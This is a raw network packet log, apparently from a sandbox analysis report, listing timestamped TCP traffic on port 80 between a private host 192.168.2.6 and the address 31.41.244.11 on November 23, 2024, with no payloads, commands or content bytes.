Nov 23, 2024 13:28:13.120903969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.121159077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.121781111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.121917009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.121934891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.122679949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.122793913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.122812986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.122843981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.123680115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.123790026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.123840094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.123840094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.124685049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.124741077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.124798059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.124846935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.125643015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.125726938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.125750065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.125865936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.126609087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.126724005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.126768112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.126849890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.127604961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.127698898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.127706051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.127981901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.128587008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.128650904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.128731012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.128803015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.129614115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.129697084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.129719019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.129802942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.130609035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.130709887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.130786896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.131560087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.131669998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.131807089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.131807089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.132575989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.132638931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.132668018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.132890940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.133539915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.133637905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.133641005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.133702993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.134535074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.134603024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.134624004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.134706020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.135492086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.135577917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.135601997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.135833979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.136461020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.136519909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.136599064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.136677027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.137811899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.138094902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.286969900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.287075996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.287122965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.287184954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.287450075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.287513971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.287560940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.287626982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.288234949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.288315058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.288351059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.288523912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.289227962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.289319038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.289330959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.289387941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.290184975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.290266037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.290302038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.290354967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.291192055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.291255951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.291296959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.291347980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.292150021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.292212963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.292249918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.292440891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.293140888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.293211937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.293256044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.293298960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.294142008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.294265985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.294327021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.294393063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.295229912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.295296907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.295352936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.296087027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.296185970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.296205997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.296351910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.297069073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.297159910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.297190905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.297275066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.298115969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.298264027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.298331976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.299077034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.299144030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.299196005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.299196005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.300050020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.300117016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.300128937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.300232887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.301004887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.301101923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.301132917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.301237106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.301994085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.302105904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.302170038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.302170038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.302997112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.303108931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.303239107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.303953886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.304080963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.304120064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.304164886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.304956913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.305073023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.305140972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.305923939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.306035042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.306185007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.306910038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.307020903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.307029963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.307162046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.307910919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.307977915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.308017015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.308080912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.308876038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.308984041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.309011936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.309161901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.309870005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.309988022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.310050011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.310841084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.310966969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.311028004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.311831951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.311899900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.311937094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.312176943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.312834024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.312911034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.312932968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.313072920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.313791990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.313884974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.313922882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.314784050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.314855099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.314894915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.314950943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.315769911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.315865040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.315886021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.315934896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.316814899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.316912889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.316967964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.316967964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.317733049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.317799091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.317852974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.317986965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.318725109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.318824053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.318839073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.319014072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.319725990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.319806099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.319956064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.320728064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.320807934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.320897102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.320957899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.321660042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.321779966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.321870089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.322689056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.322757006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.322767973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.322866917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.323621035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.323719978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.323730946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.323765039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.324619055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.324680090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.324731112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.324805975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.325591087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.325659990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.325704098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.325830936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.326570034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.326642990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.326761961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.326833010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.327550888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.327685118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.327768087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.328536034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.328658104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.328710079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.329539061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.329623938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.329657078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.329699039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.330503941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.330612898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.330749035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.331499100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.331583977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.331594944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.331630945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.332482100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.332560062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.332593918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.332681894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.333466053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.333550930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.333565950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.333636999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.334439993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.334528923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.334557056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.334623098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.335452080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.335506916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.335576057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.335807085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.336410999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.336483002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.336518049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.336579084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.337412119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.337474108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.337532043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.337615013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.338396072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.338674068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.488430023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.488518953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.488594055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.488646030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.488959074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.489033937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.489078999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.489135981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.489873886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.489993095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.490261078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.490350008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.490356922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.490411043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.491228104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.491333008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.491369963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.491485119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.492223024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.492321968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.492336988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.492408991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.493196964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.493256092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.493300915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.493407011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.494277000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.494324923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.494338036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.494445086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.495207071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.495265007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.495320082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.495417118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.496150017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.496264935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.496284008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.496309042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.497139931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.497214079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.497242928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.497291088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.498159885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.498225927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.498250961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.498279095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.499119043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.499233961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.499248028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.499332905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.500133991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.500305891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.500330925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.500397921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.501085043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.501209021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.501283884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.501354933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.502085924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.502152920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.502160072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.502204895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.503123999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.503184080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.503290892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.503341913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.504048109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.504121065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.504220009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.504268885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.505007982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.505069971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.505103111 CET	80	49729	31.41.244.11	192.168.2.6
